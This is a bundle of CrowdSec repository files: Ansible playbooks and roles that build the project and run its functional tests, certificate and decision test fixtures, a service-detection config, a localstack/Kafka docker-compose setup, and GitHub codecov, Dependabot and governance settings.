  - src: gantsign.golang

collections:
  - name: ansible.posix
  - name: https://github.com/crowdsecurity/ansible-collection-crowdsecurity.testing.git
    type: git
    version: v0.0.7

#  - name: crowdsecurity.testing
#    source: ../../../crowdsecurity.testing
#    type: dir

---

## File: test/ansible/run_all.yml

# vim: set ft=yaml.ansible:
---

- import_playbook: provision_dependencies.yml
- import_playbook: provision_test_suite.yml
- import_playbook: install_binary_package.yml
- import_playbook: prepare_tests.yml
- import_playbook: run_tests.yml

---

## File: test/ansible/run_tests.yml

# vim: set ft=yaml.ansible:
---

- name: "Run functional tests"
  hosts: all
  gather_facts: true
  vars_files:
    - vars/mysql.yml
    - vars/postgres.yml
  roles:
    - name: run_func_tests
      environment:
        PGHOST: 127.0.0.1
        PGPORT: 5432
        PGPASSWORD: "{{ postgresql_users[0].password }}"
        PGUSER: postgres
        MYSQL_HOST: localhost
        MYSQL_PORT: 3306
        MYSQL_PASSWORD: "{{ mysql_root_password }}"
        MYSQL_USER: "root"

---

## File: test/ansible/run_wizard_tests.yml

# vim: set ft=yaml.ansible:
---

- name: "Run setup/wizard tests"
  hosts: all
  tasks:
#    - name: "Build release package"
#      become: false
#      ansible.builtin.command:
#        cmd: "make clean release"
    - name: "Run BATS: service detection tests"
      become: true
      ansible.builtin.command:
        chdir: "/home/{{ ansible_user }}"
        cmd: "./crowdsec/test/run-tests crowdsec/test/bats-detect"

---

## File: test/ansible/roles/make_fixture/tasks/main.yml

# vim: set ft=yaml.ansible:
---

- name: "Set make_cmd = make (!bsd)"
  ansible.builtin.set_fact:
    make_cmd: make
  when:
    - ansible_facts.system not in ['FreeBSD', 'OpenBSD']

- name: "Set make_cmd = gmake (bsd)"
  ansible.builtin.set_fact:
    make_cmd: gmake
  when:
    - ansible_facts.system in ['FreeBSD', 'OpenBSD']

- name: "Build crowdsec from sources, prepare test environment and fixture"
  become: false
  block:
    - name: "Make bats-build bats-fixture"
      ansible.builtin.command:
        # static build and we don't have to mess with LD_LIBRARY_PATH
        cmd: "{{ make_cmd }} bats-build bats-fixture BUILD_STATIC=1"
        chdir: "{{ ansible_env.HOME }}/crowdsec"
        creates: "{{ ansible_env.HOME }}/crowdsec/test/local-init/init-config-data.tar"
      environment:
        DB_BACKEND: "{{ lookup('ansible.builtin.env', 'DB_BACKEND') }}"
        # daemonize -> /usr/bin or /usr/local/sbin
        # pidof -> /usr/sbin
        # bash -> /opt/bash/bin
        PATH: "/opt/bash/bin:{{ ansible_env.PATH }}:{{ golang_install_dir }}/bin/:/usr/sbin:/usr/local/sbin"
  rescue:
    - name: "Read crowdsec.log"
      ansible.builtin.slurp:
        path: "{{ ansible_env.HOME }}/crowdsec/test/local/var/log/crowdsec.log"
      register: crowdsec_log
    - name: "Show crowdsec.log"
      ansible.builtin.fail:
        msg: "{{ crowdsec_log['content'] | b64decode }}"
  when: (package_testing is not defined) or (package_testing in ['', 'false', 'False'])

- name: "Prepare test environment and fixture for binary package"
  become: true
  block:
    - name: "Make bats-environment bats-check-requirements bats-fixture"
      ansible.builtin.command:
        cmd: "{{ make_cmd }} bats-environment bats-check-requirements bats-fixture"
        chdir: "{{ ansible_env.HOME }}/crowdsec"
        creates: "{{ ansible_env.HOME }}/crowdsec/test/local-init/init-config-data.tar"
      environment:
        PACKAGE_TESTING: "{{ package_testing }}"
        DB_BACKEND: "{{ lookup('ansible.builtin.env', 'DB_BACKEND') }}"
        # daemonize -> /usr/bin or /usr/local/sbin
        # pidof -> /usr/sbin
        # bash -> /opt/bash/bin
        PATH: "/opt/bash/bin:{{ ansible_env.PATH }}:{{ golang_install_dir }}/bin/:/usr/sbin:/usr/local/sbin"
  rescue:
    - name: "Read crowdsec.log"
      ansible.builtin.slurp:
        path: "/var/log/crowdsec.log"
      register: crowdsec_log
    - name: "Show crowdsec.log"
      ansible.builtin.fail:
        msg: "{{ crowdsec_log['content'] | b64decode }}"
  when: (package_testing is defined) and (package_testing not in ['', 'false', 'False'])

- name: "Debug - show environment"
  become: false
  block:
    - name: "Look for .environment.sh"
      ansible.builtin.slurp:
        src: "{{ ansible_env.HOME }}/crowdsec/test/.environment.sh"
      changed_when: true
      register: envfile
    - name: "Show .environment.sh"
      ansible.builtin.debug:
        msg: "{{ envfile['content'] | b64decode }}"
    - name: "Show environment variables"
      ansible.builtin.debug:
        msg: "{{ ansible_env | to_nice_yaml }}"

---

## File: test/ansible/roles/make_fixture/vars/main.yml

# vim: set ft=yaml.ansible:
---
package_testing: "{{ lookup('ansible.builtin.env', 'PACKAGE_TESTING') }}"

---

## File: test/ansible/roles/run_func_tests/tasks/main.yml

# vim: set ft=yaml.ansible:
---
- name: "Tweak systemd configuration for tests"
  become: true
  block:
    - name: "Create /lib/systemd/system/crowdsec.service.d"
      ansible.builtin.file:
        owner: root
        group: root
        mode: 0o755
        path: /lib/systemd/system/crowdsec.service.d
        state: directory
    - name: "Override StartLimitBurst"
      ansible.builtin.ini_file:
        dest: /lib/systemd/system/crowdsec.service.d/startlimitburst.conf
        owner: root
        group: root
        mode: 0o644
        section: Service
        option: StartLimitBurst
        value: 100
    - name: "Systemctl daemon-reload"
      ansible.builtin.systemd:
        daemon_reload: true
  when:
    - (package_testing is defined) and (package_testing not in ['', 'false', 'False'])
    - ansible_facts.os_family in ["RedHat", "Debian"]

- name: "Debug - show environment.sh"
  become: false
  block:
    - name: "Look for .environment.sh"
      ansible.builtin.slurp:
        src: "{{ ansible_env.HOME }}/crowdsec/test/.environment.sh"
      changed_when: true
      register: envfile
    - name: "Show .environment.sh"
      ansible.builtin.debug:
        msg: "{{ envfile['content'] | b64decode }}"

- name: "Search for test scripts"
  become: false
  ansible.builtin.find:
    paths: "{{ ansible_env.HOME }}/crowdsec/test/bats"
    pattern: "*.bats"
  register: testfiles

- name: "Run BATS tests for source build"
  become: false
  block:
    - name: "Run test scripts"
      ansible.builtin.command:
        cmd: test/run-tests {{ item.path }}
        chdir: "{{ ansible_env.HOME }}/crowdsec"
      with_items: "{{ testfiles.files | sort(attribute='path') }}"
      loop_control:
        label: "{{ item['path'] }}"
      environment:
        # daemonize -> /usr/bin or /usr/local/sbin
        # pidof -> /usr/sbin
        # bash -> /opt/bash/bin
        PATH: "/opt/bash/bin:{{ ansible_env.PATH }}:/usr/sbin:/usr/local/sbin"
      changed_when: true
      when:
        - (item.path | basename) not in skip_tests.split(',')
  rescue:
    - name: "Read crowdsec.log"
      ansible.builtin.slurp:
        path: "{{ ansible_env.HOME }}/crowdsec/test/local/var/log/crowdsec.log"
      register: crowdsec_log
    - name: "Show crowdsec.log"
      ansible.builtin.fail:
        msg: "{{ crowdsec_log['content'] | b64decode }}"
  when:
    - (package_testing is not defined) or (package_testing in ['', 'false', 'False'])

- name: "Run BATS tests for binary package"
  become: true
  block:
    - name: "Run test scripts"
      ansible.builtin.command:
        cmd: test/run-tests {{ item.path }}
        chdir: "{{ ansible_env.HOME }}/crowdsec"
      with_items: "{{ testfiles.files | sort(attribute='path') }}"
      loop_control:
        label: "{{ item['path'] }}"
      environment:
        # daemonize -> /usr/bin or /usr/local/sbin
        # pidof -> /usr/sbin
        # bash -> /opt/bash/bin
        PATH: "/opt/bash/bin:{{ ansible_env.PATH }}:/usr/sbin:/usr/local/sbin"
      changed_when: true
      when:
        - (item.path | basename) not in skip_tests.split(',')
  rescue:
    - name: "Read crowdsec.log"
      ansible.builtin.slurp:
        path: "/var/log/crowdsec.log"
      register: crowdsec_log
    - name: "Show crowdsec.log"
      ansible.builtin.fail:
        msg: "{{ crowdsec_log['content'] | b64decode }}"
  when:
    - (package_testing is defined) and (package_testing not in ['', 'false', 'False'])

---

## File: test/ansible/roles/run_func_tests/vars/main.yml

# vim: set ft=yaml.ansible:
---
package_testing: "{{ lookup('ansible.builtin.env', 'PACKAGE_TESTING') }}"
skip_tests: "{{ lookup('ansible.builtin.env', 'TEST_SKIP') }}"

---

## File: test/ansible/vagrant/experimental/amazon-linux-2/issues.txt

The file 70_http_plugin.bats hangs forever when run from ansible on amzn2, but all tests pass when run from ssh.

---

## File: test/ansible/vars/go.yml

# vim: set ft=yaml.ansible:
---

golang_version: "1.21.4"
golang_install_dir: "/opt/go/{{ golang_version }}"

---

## File: test/ansible/vars/mysql.yml

# vim: set ft=yaml.ansible:
---

# The password is insecure since the db is ephemeral and only listen to localhost.
mysql_root_password: password

---

## File: test/ansible/vars/postgres.yml

# vim: set ft=yaml.ansible:
---

# The password is insecure since the db is ephemeral and only listen to localhost.
postgresql_users:
  - name: postgres
    password: postgres

postgresql_hba_entries:
  - type: local
    database: all
    user: postgres
    auth_method: peer

  - type: local
    database: all
    user: all
    auth_method: peer

  - type: host
    database: all
    user: all
    address: "127.0.0.1/32"
    auth_method: md5

  - type: host
    database: all
    user: all
    address: "::1/128"
    auth_method: md5

---

## File: test/ansible/vars/python.yml

python_version: "3.12.3"

---

## File: test/bats/testdata/90_decisions/decisions.json

[
    {
        "origin": "cscli",
        "scope": "ip",
        "value": "1.6.11.16",
        "reason": "manual import from csv",
        "type": "ban",
        "duration": "1h"
    },
    {
        "origin": "cscli",
        "scope": "ip",
        "value": "2.7.12.17",
        "reason": "manual import from csv",
        "type": "ban",
        "duration": "1h"
    },
    {
        "origin": "cscli",
        "scope": "ip",
        "value": "3.8.13.18",
        "reason": "manual import from csv",
        "type": "ban",
        "duration": "1h"
    },
    {
        "origin": "cscli",
        "scope": "ip",
        "value": "4.9.14.19",
        "reason": "manual import from csv",
        "type": "ban",
        "duration": "1h"
    },
    {
        "origin": "cscli",
        "scope": "ip",
        "value": "5.10.15.20",
        "reason": "manual import from csv",
        "type": "ban",
        "duration": "1h"
    }
]

---

## File: test/bats/testdata/cfssl/agent.json

{
  "CN": "localhost",
  "key": {
    "algo": "rsa",
    "size": 2048
  },
  "names": [
    {
      "C": "FR",
      "L": "Paris",
      "O": "Crowdsec",
      "OU": "agent-ou",
      "ST": "France"
    }
  ]
}

---

## File: test/bats/testdata/cfssl/agent_invalid.json

{
  "CN": "localhost",
  "key": {
    "algo": "rsa",
    "size": 2048
  },
  "names": [
    {
      "C": "FR",
      "L": "Paris",
      "O": "Crowdsec",
      "OU": "this-is-not-the-ou-youre-looking-for",
      "ST": "France"
    }
  ]
}

---

## File: test/bats/testdata/cfssl/bouncer.json

{
  "CN": "localhost",
  "key": {
    "algo": "rsa",
    "size": 2048
  },
  "names": [
    {
      "C": "FR",
      "L": "Paris",
      "O": "Crowdsec",
      "OU": "bouncer-ou",
      "ST": "France"
    }
  ]
}

---

## File: test/bats/testdata/cfssl/bouncer_invalid.json

{
  "CN": "localhost",
  "key": {
    "algo": "rsa",
    "size": 2048
  },
  "names": [
    {
      "C": "FR",
      "L": "Paris",
      "O": "Crowdsec",
      "OU": "this-is-not-the-ou-youre-looking-for",
      "ST": "France"
    }
  ]
}

---

## File: test/bats/testdata/cfssl/ca_intermediate.json

{
  "CN": "CrowdSec Test CA Intermediate",
  "key": {
    "algo": "rsa",
    "size": 2048
  },
  "names": [
    {
      "C": "FR",
      "L": "Paris",
      "O": "Crowdsec",
      "OU": "Crowdsec Intermediate",
      "ST": "France"
    }
  ],
  "ca": {
    "expiry": "42720h"
  }
}

---

## File: test/bats/testdata/cfssl/ca_root.json

{
  "CN": "CrowdSec Test CA",
  "key": {
    "algo": "rsa",
    "size": 2048
  },
  "names": [
    {
      "C": "FR",
      "L": "Paris",
      "O": "Crowdsec",
      "OU": "Crowdsec",
      "ST": "France"
    }
  ]
}

---

## File: test/bats/testdata/cfssl/profiles.json

{
  "signing": {
    "default": {
      "expiry": "8760h"
    },
    "profiles": {
      "intermediate_ca": {
        "usages": [
          "signing",
          "key encipherment",
          "cert sign",
          "crl sign",
          "server auth",
          "client auth"
        ],
        "expiry": "8760h",
        "ca_constraint": {
          "is_ca": true,
          "max_path_len": 0,
          "max_path_len_zero": true
        }
      },
      "server": {
        "usages": [
          "server auth"
        ],
        "expiry": "8760h"
      },
      "client": {
        "usages": [
          "client auth"
        ],
        "expiry": "8760h"
      }
    }
  }
}

---

## File: test/bats/testdata/cfssl/server.json

{
  "CN": "localhost",
  "key": {
    "algo": "rsa",
    "size": 2048
  },
  "names": [
    {
      "C": "FR",
      "L": "Paris",
      "O": "Crowdsec",
      "OU": "Crowdsec Server",
      "ST": "France"
    }
  ],
  "hosts": [
    "127.0.0.1",
    "localhost"
  ]
}

---

## File: test/bats/testdata/cscli-setup/detect.yaml

# TODO: windows, use_time_machine, event support (see https://hub.crowdsec.net/author/crowdsecurity/collections/iis)

---

detect:
  apache2:
    when:
      - System.ProcessRunning("apache2")
    hub_spec:
      collections:
        - crowdsecurity/apache2
    acquisition_spec:
      filename: apache.yaml
      datasource:
        source: file
        labels:
          type: apache2
        filenames:
          - /var/log/apache2/*.log
          - /var/log/*http*/*.log
          - /var/log/httpd/*.log

  apache2-systemd:
    when:
      - Systemd.UnitInstalled("apache2.service")
      - OS.ID != "centos"
    hub_spec:
      collections:
        - crowdsecurity/apache2
    acquisition_spec:
      filename: apache.yaml
      datasource:
        source: journalctl
        journalctl_filter:
          - "_SYSTEMD_UNIT=mock-apache2.service"
        labels:
          type: apache2

  apache2-systemd-centos:
    when:
      - Systemd.UnitInstalled("httpd.service")
      - OS.ID == "centos"
    hub_spec:
      collections:
        - crowdsecurity/apache2
    acquisition_spec:
      filename: apache.yaml
      datasource:
        source: journalctl
        journalctl_filter:
          - "_SYSTEMD_UNIT=httpd.service"

  ssh-systemd:
    when:
      - Systemd.UnitInstalled("ssh.service") or Systemd.UnitInstalled("ssh.socket")
    hub_spec:
      collections:
        - crowdsecurity/apache2
    acquisition_spec:
      filename: ssh.yaml
      datasource:
        source: journalctl
        journalctl_filter:
          - "_SYSTEMD_UNIT=ssh.service"
        labels:
          type: syslog

  linux:
    when:
      - Host.OS == "linux"
    hub_spec:
      collections:
        - crowdsecurity/linux
    acquisition_spec:
      filename: linux.yaml
      datasource:
        source: file
        labels:
          type: syslog
        filenames:
          - /var/log/syslog
          - /var/log/kern.log
          - /var/log/messages

  freebsd:
    when:
      - Host.OS == "freebsd"
    hub_spec:
      collections:
        - crowdsecurity/freebsd

  windows:
    when:
      - Host.OS == "windows"
    hub_spec:
      collections:
        - crowdsecurity/windows

---

## File: test/bats/testdata/explain/explain-log.txt

line: Sep 19 18:33:22 scw-d95986 sshd[24347]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=1.2.3.4
	├ s00-raw
	|	└ 🟢 crowdsecurity/syslog-logs (+12 ~9)
	├ s01-parse
	|	└ 🟢 crowdsecurity/sshd-logs (+8)
	├-------- parser success 🟢
	├ Scenarios
		├ 🟢 crowdsecurity/ssh-bf
		├ 🟢 crowdsecurity/ssh-bf_user-enum
		├ 🟢 crowdsecurity/ssh-slow-bf
		├ 🟢 crowdsecurity/ssh-slow-bf_user-enum
		├ 🟢 crowdsecurity/ssh-time-based-bf
		└ 🟢 crowdsecurity/ssh-time-based-bf_user-enum

---

## File: test/bats-detect/WARNING.md

Running the tests in this directory WILL change the system configuration in
unpredictable ways, remove packages and data (with a peculiar appetite for
databases) and possibly bring the system to an unusable state.

They are meant to be run, as root, on temporary VMs. They are only intended to
ease the development of configurations for "cscli setup detect".

---

## File: test/localstack/docker-compose.yml

services:
  localstack:
    container_name: localstack_main
    image: localstack/localstack:3.0
    network_mode: bridge
    ports:
      - "127.0.0.1:53:53"                # only required for Pro (DNS)
      - "127.0.0.1:53:53/udp"            # only required for Pro (DNS)
      - "127.0.0.1:443:443"              # only required for Pro (LocalStack HTTPS Edge Proxy)
      - "127.0.0.1:4510-4559:4510-4559"  # external service port range
      - "127.0.0.1:4566:4566"            # LocalStack Edge Proxy
    environment:
      AWS_HOST: localstack
      DEBUG: ""
      KINESIS_ERROR_PROBABILITY: ""
      LOCALSTACK_HOST: "localstack"
      AWS_REGION: "us-east-1"

    volumes:
      - "${TMPDIR:-/tmp}/localstack:/var/lib/localstack"
      - "/var/run/docker.sock:/var/run/docker.sock"
      - "./scripts/init_script.sh:/etc/localstack/init/ready.d/init_script.sh"

  zoo1:
    image: confluentinc/cp-zookeeper:7.4.3
    ports:
      - "2181:2181"
    environment:
      ZOOKEEPER_CLIENT_PORT: 2181
      ZOOKEEPER_SERVER_ID: 1
      ZOOKEEPER_SERVERS: zoo1:2888:3888

    healthcheck:
      test: jps -l | grep zookeeper
      interval: 10s
      retries: 5
      timeout: 5s

  kafka1:
    image: crowdsecurity/kafka-ssl
    ports:
      - "9093:9093"
      - "9092:9092"
      - "9999:9999"
    environment:
      KAFKA_ADVERTISED_LISTENERS: LISTENER_DOCKER_INTERNAL://127.0.0.1:19092,LISTENER_DOCKER_EXTERNAL://127.0.0.1:9092,LISTENER_DOCKER_EXTERNAL_SSL://127.0.0.1:9093
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: LISTENER_DOCKER_INTERNAL:PLAINTEXT,LISTENER_DOCKER_EXTERNAL:PLAINTEXT,LISTENER_DOCKER_EXTERNAL_SSL:SSL
      KAFKA_INTER_BROKER_LISTENER_NAME: LISTENER_DOCKER_INTERNAL
      KAFKA_ZOOKEEPER_CONNECT: "zoo1:2181"
      KAFKA_BROKER_ID: 1
      KAFKA_LOG4J_LOGGERS: "kafka.controller=INFO,kafka.producer.async.DefaultEventHandler=INFO,state.change.logger=INFO"
      KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1
      KAFKA_TRANSACTION_STATE_LOG_REPLICATION_FACTOR: 1
      KAFKA_TRANSACTION_STATE_LOG_MIN_ISR: 1
      KAFKA_JMX_PORT: 9999
      KAFKA_JMX_HOSTNAME: "127.0.0.1"
      KAFKA_AUTHORIZER_CLASS_NAME: kafka.security.authorizer.AclAuthorizer
      KAFKA_ALLOW_EVERYONE_IF_NO_ACL_FOUND: "true"
      KAFKA_SSL_KEYSTORE_FILENAME: kafka.kafka1.keystore.jks
      KAFKA_SSL_KEYSTORE_CREDENTIALS: kafka1_keystore_creds
      KAFKA_SSL_KEY_CREDENTIALS: kafka1_sslkey_creds
      KAFKA_SSL_TRUSTSTORE_FILENAME: kafka.kafka1.truststore.jks
      KAFKA_SSL_TRUSTSTORE_CREDENTIALS: kafka1_truststore_creds
      KAFKA_SSL_ENABLED_PROTOCOLS: TLSv1.2
      KAFKA_SSL_PROTOCOL: TLSv1.2
      KAFKA_SSL_CLIENT_AUTH: none
      KAFKA_AUTO_CREATE_TOPICS_ENABLE: "true"

    healthcheck:
      test: kafka-broker-api-versions --version
      interval: 10s
      retries: 5
      timeout: 10s

  loki:
    image: grafana/loki:2.9.1
    ports:
      - "127.0.0.1:3100:3100"

  victorialogs:
    image: victoriametrics/victoria-logs:v1.5.0-victorialogs
    ports:
      - "9428:9428"

---

## File: .github/codecov.yml

# we measure coverage but don't enforce it
# https://docs.codecov.com/docs/codecov-yaml
codecov:
  require_ci_to_pass: false

coverage:
  status:
    patch:
      default:
        target: 0%
    project:
      default:
        target: 0%

# if a directory is ignored, there is no way to un-ignore files like pkg/models/helpers.go
# so we make a full list
ignore:
  - "./pkg/database/ent/alert/alert.go"
  - "./pkg/database/ent/alert_create.go"
  - "./pkg/database/ent/alert_delete.go"
  - "./pkg/database/ent/alert.go"
  - "./pkg/database/ent/alert_query.go"
  - "./pkg/database/ent/alert_update.go"
  - "./pkg/database/ent/alert/where.go"
  - "./pkg/database/ent/allowlist/allowlist.go"
  - "./pkg/database/ent/allowlist_create.go"
  - "./pkg/database/ent/allowlist_delete.go"
  - "./pkg/database/ent/allowlist.go"
  - "./pkg/database/ent/allowlistitem/allowlistitem.go"
  - "./pkg/database/ent/allowlistitem_create.go"
  - "./pkg/database/ent/allowlistitem_delete.go"
  - "./pkg/database/ent/allowlistitem.go"
  - "./pkg/database/ent/allowlistitem_query.go"
  - "./pkg/database/ent/allowlistitem_update.go"
  - "./pkg/database/ent/allowlistitem/where.go"
  - "./pkg/database/ent/allowlist_query.go"
  - "./pkg/database/ent/allowlist_update.go"
  - "./pkg/database/ent/allowlist/where.go"
  - "./pkg/database/ent/bouncer/bouncer.go"
  - "./pkg/database/ent/bouncer_create.go"
  - "./pkg/database/ent/bouncer_delete.go"
  - "./pkg/database/ent/bouncer.go"
  - "./pkg/database/ent/bouncer_query.go"
  - "./pkg/database/ent/bouncer_update.go"
  - "./pkg/database/ent/bouncer/where.go"
  - "./pkg/database/ent/client.go"
  - "./pkg/database/ent/configitem/configitem.go"
  - "./pkg/database/ent/configitem_create.go"
  - "./pkg/database/ent/configitem_delete.go"
  - "./pkg/database/ent/configitem.go"
  - "./pkg/database/ent/configitem_query.go"
  - "./pkg/database/ent/configitem_update.go"
  - "./pkg/database/ent/configitem/where.go"
  - "./pkg/database/ent/decision_create.go"
  - "./pkg/database/ent/decision/decision.go"
  - "./pkg/database/ent/decision_delete.go"
  - "./pkg/database/ent/decision.go"
  - "./pkg/database/ent/decision_query.go"
  - "./pkg/database/ent/decision_update.go"
  - "./pkg/database/ent/decision/where.go"
  - "./pkg/database/ent/ent.go"
  - "./pkg/database/ent/enttest/enttest.go"
  - "./pkg/database/ent/event_create.go"
  - "./pkg/database/ent/event_delete.go"
  - "./pkg/database/ent/event/event.go"
  - "./pkg/database/ent/event.go"
  - "./pkg/database/ent/event_query.go"
  - "./pkg/database/ent/event_update.go"
  - "./pkg/database/ent/event/where.go"
  - "./pkg/database/ent/hook/hook.go"
  - "./pkg/database/ent/lock_create.go"
  - "./pkg/database/ent/lock_delete.go"
  - "./pkg/database/ent/lock.go"
  - "./pkg/database/ent/lock/lock.go"
  - "./pkg/database/ent/lock_query.go"
  - "./pkg/database/ent/lock_update.go"
  - "./pkg/database/ent/lock/where.go"
  - "./pkg/database/ent/machine_create.go"
  - "./pkg/database/ent/machine_delete.go"
  - "./pkg/database/ent/machine.go"
  - "./pkg/database/ent/machine/machine.go"
  - "./pkg/database/ent/machine_query.go"
  - "./pkg/database/ent/machine_update.go"
  - "./pkg/database/ent/machine/where.go"
  - "./pkg/database/ent/meta_create.go"
  - "./pkg/database/ent/meta_delete.go"
  - "./pkg/database/ent/meta.go"
  - "./pkg/database/ent/meta/meta.go"
  - "./pkg/database/ent/meta_query.go"
  - "./pkg/database/ent/meta_update.go"
  - "./pkg/database/ent/meta/where.go"
  - "./pkg/database/ent/metric_create.go"
  - "./pkg/database/ent/metric_delete.go"
  - "./pkg/database/ent/metric.go"
  - "./pkg/database/ent/metric/metric.go"
  - "./pkg/database/ent/metric_query.go"
  - "./pkg/database/ent/metric_update.go"
  - "./pkg/database/ent/metric/where.go"
  - "./pkg/database/ent/migrate/migrate.go"
  - "./pkg/database/ent/migrate/schema.go"
  - "./pkg/database/ent/mutation.go"
  - "./pkg/database/ent/predicate/predicate.go"
  - "./pkg/database/ent/runtime.go"
  - "./pkg/database/ent/runtime/runtime.go"
  - "./pkg/database/ent/tx.go"
  - "./pkg/models/add_alerts_request.go"
  - "./pkg/models/add_alerts_response.go"
  - "./pkg/models/add_signals_request.go"
  - "./pkg/models/add_signals_request_item_decisions.go"
  - "./pkg/models/add_signals_request_item_decisions_item.go"
  - "./pkg/models/add_signals_request_item.go"
  - "./pkg/models/add_signals_request_item_source.go"
  - "./pkg/models/alert.go"
  - "./pkg/models/all_metrics.go"
  - "./pkg/models/allowlist_item.go"
  - "./pkg/models/base_metrics.go"
  - "./pkg/models/bulk_check_allowlist_request.go"
  - "./pkg/models/bulk_check_allowlist_response.go"
  - "./pkg/models/bulk_check_allowlist_result.go"
  - "./pkg/modelscapi/add_signals_request.go"
  - "./pkg/modelscapi/add_signals_request_item_decisions.go"
  - "./pkg/modelscapi/add_signals_request_item_decisions_item.go"
  - "./pkg/modelscapi/add_signals_request_item.go"
  - "./pkg/modelscapi/add_signals_request_item_source.go"
  - "./pkg/modelscapi/allowlist_link.go"
  - "./pkg/modelscapi/blocklist_link.go"
  - "./pkg/modelscapi/decisions_delete_request.go"
  - "./pkg/modelscapi/decisions_delete_request_item.go"
  - "./pkg/modelscapi/decisions_sync_request.go"
  - "./pkg/modelscapi/decisions_sync_request_item_decisions.go"
  - "./pkg/modelscapi/decisions_sync_request_item_decisions_item.go"
  - "./pkg/modelscapi/decisions_sync_request_item.go"
  - "./pkg/modelscapi/decisions_sync_request_item_source.go"
  - "./pkg/modelscapi/enroll_request.go"
  - "./pkg/modelscapi/error_response.go"
  - "./pkg/modelscapi/get_decisions_stream_response_deleted.go"
  - "./pkg/modelscapi/get_decisions_stream_response_deleted_item.go"
  - "./pkg/modelscapi/get_decisions_stream_response.go"
  - "./pkg/modelscapi/get_decisions_stream_response_links.go"
  - "./pkg/modelscapi/get_decisions_stream_response_new.go"
  - "./pkg/modelscapi/get_decisions_stream_response_new_item.go"
  - "./pkg/modelscapi/login_request.go"
  - "./pkg/modelscapi/login_response.go"
  - "./pkg/modelscapi/metrics_request_bouncers_item.go"
  - "./pkg/modelscapi/metrics_request.go"
  - "./pkg/modelscapi/metrics_request_machines_item.go"
  - "./pkg/modelscapi/register_request.go"
  - "./pkg/modelscapi/reset_password_request.go"
  - "./pkg/modelscapi/success_response.go"
  - "./pkg/models/check_allowlist_response.go"
  - "./pkg/models/console_options.go"
  - "./pkg/models/decision.go"
  - "./pkg/models/decisions_delete_request.go"
  - "./pkg/models/decisions_delete_request_item.go"
  - "./pkg/models/decisions_stream_response.go"
  - "./pkg/models/delete_alerts_response.go"
  - "./pkg/models/delete_decision_response.go"
  - "./pkg/models/detailed_metrics.go"
  - "./pkg/models/error_response.go"
  - "./pkg/models/event.go"
  - "./pkg/models/flush_decision_response.go"
  - "./pkg/models/get_alerts_response.go"
  - "./pkg/models/get_allowlist_response.go"
  - "./pkg/models/get_allowlists_response.go"
  - "./pkg/models/get_decisions_response.go"
  - "./pkg/models/hub_item.go"
  - "./pkg/models/hub_items.go"
  - "./pkg/models/lapi_metrics.go"
  - "./pkg/models/log_processors_metrics.go"
  - "./pkg/models/meta.go"
  - "./pkg/models/metrics_agent_info.go"
  - "./pkg/models/metrics_bouncer_info.go"
  - "./pkg/models/metrics_detail_item.go"
  - "./pkg/models/metrics.go"
  - "./pkg/models/metrics_labels.go"
  - "./pkg/models/metrics_meta.go"
  - "./pkg/models/o_sversion.go"
  - "./pkg/models/remediation_components_metrics.go"
  - "./pkg/models/source.go"
  - "./pkg/models/success_response.go"
  - "./pkg/models/topx_response.go"
  - "./pkg/models/watcher_auth_request.go"
  - "./pkg/models/watcher_auth_response.go"
  - "./pkg/models/watcher_registration_request.go"
  - "./pkg/protobufs/notifier_grpc.pb.go"
  - "./pkg/protobufs/notifier.pb.go"

---

## File: .github/dependabot.yml

version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    labels:
      - "kind/dependencies"
      - "github-actions"
    groups:
      github-actions:
        update-types:
          - "minor"
          - "patch"

  - package-ecosystem: "gomod"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    labels:
      - "kind/dependencies"
      - "go"
    groups:
      gomod:
        update-types:
          - "minor"
          - "patch"

  - package-ecosystem: "uv"
    directory: "/build/docker/test"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    labels:
      - "kind/dependencies"
      - "python"
    groups:
      uv:
        update-types:
          - "minor"
          - "patch"

  - package-ecosystem: "docker"
    directories:
      - "/build/docker"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    labels:
      - "kind/dependencies"
      - "docker"
    groups:
      docker:
        update-types:
          - "minor"
          - "patch"

---

## File: .github/governance.yml

version: v1

issue:
  captures:
    - regex: 'version: v*(.+)-[rc*]?'
      github_release: true
      ignore_case: true
      label: 'version/$CAPTURED'

    - regex: 'Platform: *(windows?|ms|wins?|microsoft).*'
      label: 'os/win'
      ignore_case: true
    
    - regex: 'Platform: *(freebsd|bsd).*'
      label: 'os/freebsd'
      ignore_case: true

    - regex: 'Platform: *(linux|linus|lin).*'
      label: 'os/linux'
      ignore_case: true

    - regex: 'Platform: *(macos|mac|apple|macintosh|macbook).*'
      label: 'os/mac'
      ignore_case: true

  labels:
    - prefix: triage
      list: ['accepted']
      multiple: false
      author_association:
        collaborator: true
        member: true
        owner: true
      needs:
        comment: |
          @$AUTHOR: Thanks for opening an issue, it is currently awaiting triage.

          In the meantime, you can:

          1. Check [Crowdsec Documentation](https://docs.crowdsec.net/) to see if your issue can be self resolved.
          2. You can also join our [Discord](https://discord.gg/crowdsec).
          3. Check [Releases](https://github.com/crowdsecurity/crowdsec/releases/latest) to make sure your agent is on the latest version.

    - prefix: kind
      list: ['feature', 'bug', 'packaging', 'enhancement', 'refactoring']
      multiple: false
      author_association:
        author: true
        collaborator: true
        member: true
        owner: true
      needs:
        comment: |
          @$AUTHOR: There are no 'kind' label on this issue. You need a 'kind' label to start the triage process.
          * `/kind feature`
          * `/kind enhancement`
          * `/kind refactoring`
          * `/kind bug`
          * `/kind packaging`

    - prefix: os
      list: ['mac', 'win', 'linux', 'freebsd']
      multiple: true

pull_request:
  labels:
    - prefix: kind
      multiple: false
      list: [ 'feature', 'enhancement', 'fix', 'chore', 'dependencies', 'refactoring']
      needs:
        comment: |
          @$AUTHOR: There are no 'kind' label on this PR. You need a 'kind' label to generate the release automatically.
          * `/kind feature`
          * `/kind enhancement`
          * `/kind refactoring`
          * `/kind fix`
          * `/kind chore`
          * `/kind dependencies`
        status:
          context: 'Kind Label'
            success: Ready for review & merge.
            failure: Missing kind label to generate release automatically.

    - prefix: area
      list: [ "agent", "local-api", "cscli", "security", "configuration", "appsec"]
      multiple: true
      needs:
        comment: |
          @$AUTHOR: There are no area labels on this PR. You can add as many areas as you see fit.
          * `/area agent`
          * `/area local-api`
          * `/area cscli`
          * `/area appsec`
